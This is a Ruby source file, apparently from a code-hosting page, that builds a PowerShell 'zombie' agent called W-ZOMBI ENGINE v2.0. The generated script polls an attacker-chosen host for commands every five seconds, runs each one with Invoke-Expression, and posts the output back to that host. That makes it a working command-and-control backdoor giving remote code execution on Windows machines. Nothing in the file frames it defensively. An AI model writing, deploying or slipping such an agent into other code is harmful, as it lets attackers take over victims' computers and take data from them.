47 lines
1.4 KiB
Ruby
47 lines
1.4 KiB
Ruby
module WZombi
|
|
module Engine
|
|
class PS1Builder
|
|
def self.build(host:)
|
|
<<~PS1
|
|
# W-ZOMBI ENGINE v2.0
|
|
$WZ_HOST = "#{host}"
|
|
$LAST_CMD_ID = 0
|
|
|
|
function Get-Cmd {
|
|
try {
|
|
return Invoke-RestMethod -Uri "http://$WZ_HOST/cmd" -UseBasicParsing -ErrorAction SilentlyContinue
|
|
} catch {}
|
|
}
|
|
|
|
function Send-Log {
|
|
param([string]$msg)
|
|
$line = "[$(Get-Date -Format 'HH:mm:ss')] $msg"
|
|
Write-Host "📡 $line" -ForegroundColor Cyan
|
|
try {
|
|
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $line -ContentType "text/plain" -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null
|
|
} catch {}
|
|
}
|
|
|
|
Write-Host "🧟 ゾンビ (Zombi) v2.0 ONLINE - Esperando ordenes..." -ForegroundColor Green
|
|
|
|
while ($true) {
|
|
try {
|
|
$cmdData = Get-Cmd
|
|
if ($cmdData -and $cmdData.id -ne $LAST_CMD_ID -and $cmdData.cmd -ne "NO_CMD") {
|
|
$LAST_CMD_ID = $cmdData.id
|
|
Write-Host ">>> EJECUTANDO [ID:$($cmdData.id)]: $($cmdData.cmd)" -ForegroundColor Yellow
|
|
$result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String
|
|
Send-Log $result
|
|
}
|
|
} catch {
|
|
Send-Log "!!! EXCEPCION FATAL EN LOOP: $($_.Exception.Message)"
|
|
}
|
|
Start-Sleep -Seconds 5
|
|
}
|
|
PS1
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|